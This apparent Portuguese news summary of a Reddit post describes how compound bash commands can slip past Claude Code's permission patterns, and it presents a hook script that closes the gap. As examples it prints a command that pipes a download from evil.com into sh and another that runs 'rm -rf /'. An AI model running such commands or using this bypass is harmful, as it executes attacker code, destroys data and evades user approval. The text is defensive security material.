Gancho Inteligente de Permissão Bash para Claude Code Previne Bypass de Comandos Compostos

Lacuna de Segurança no Sistema de Permissões do Claude Code
O sistema de permissões do Claude Code tem uma vulnerabilidade onde comandos bash compostos podem contornar padrões de permissão/negação. Quando você permite um comando como Bash(git status:*), o Claude Code compara toda a string do comando com esse padrão. Isso significa que um comando composto como git status && curl -s http://evil.com | sh corresponderia a git status* e seria aprovado automaticamente, mesmo que encadeie comandos curl e sh.
A Solução: claude-hooks
A correção é um único script Python chamado claude-hooks que funciona como um hook PreToolUse. Ele executa várias funções importantes:
- Decompõe comandos compostos dividindo em
&&,||,;,|, novas linhas, e extrai conteúdos de subshells$()e acentos graves recursivamente - Normaliza cada subcomando removendo prefixos de variáveis de ambiente, redirecionamentos de E/S, corpos de heredoc e palavras-chave do shell
- Verifica cada subcomando individualmente contra seus padrões existentes de
permissions.allowepermissions.deny - Negar vence — se qualquer subcomando corresponder a um padrão de negação, todo o comando é negado
- Todos devem permitir — a aprovação automática só ocorre quando cada subcomando corresponde a um padrão de permissão
- Falha graciosamente — se qualquer subcomando for desconhecido, você ainda recebe o prompt de permissão normal
Instruções de Configuração
A instalação leva cerca de 30 segundos:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdicione a ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}A ferramenta não tem dependências além do Python 3 e não requer configuração — ela lê seus padrões de permissão existentes.
Comportamento de Exemplo
git status: Permitido tanto com quanto sem o hookgit add . && git commit -m "msg": Permitido tanto com quanto sem o hook (ambos correspondem agit *)git status && rm -rf /: Permitido sem o hook, prompt mostrado com o hook (rm -rf /não tem permissão)`npm test | tee output.log`: PermitidoFOO=bar git push: Pode não corresponder sem o hook, permitido com o hook (variável de ambiente removida)
O repositório está disponível em https://github.com/liberzon/claude-hooks sob licença MIT.
📖 Read the full source: r/ClaudeAI
👀 See Also

Claude Code escreve arquivos fora do diretório permitido sem permissão
Um usuário relata que o Claude Code criou pastas e salvou arquivos em C:\Users\...\Documents\Surge XT\Patches\ sem permissão explícita, usando os.makedirs.

Cibercriminosos Reagem Contra a Porcaria Gerada por IA em Fóruns Subterrâneos
Novas pesquisas mostram que hackers e golpistas de baixo nível estão reclamando de postagens geradas por IA em fóruns de crimes cibernéticos, considerando-as ruído de baixa qualidade que prejudica a confiança da comunidade e a interação social.

O aplicativo Claude Desktop da Anthropic instala uma ponte de mensagens nativas não divulgada
O Claude Desktop instala silenciosamente uma extensão de navegador pré-autorizada que permite mensagens nativas, levantando preocupações de segurança.

Auditoria de segurança revela vulnerabilidades no ecossistema de habilidades OpenClaw
Uma auditoria de segurança do OpenClaw encontrou 8 CVEs documentados, incluindo vulnerabilidades de execução arbitrária de código e roubo de credenciais, além de 15% das habilidades na biblioteca compartilhada exibirem comportamento suspeito na rede. O auditor migrou para um runtime mínimo baseado em Rust com Ollama para melhor isolamento.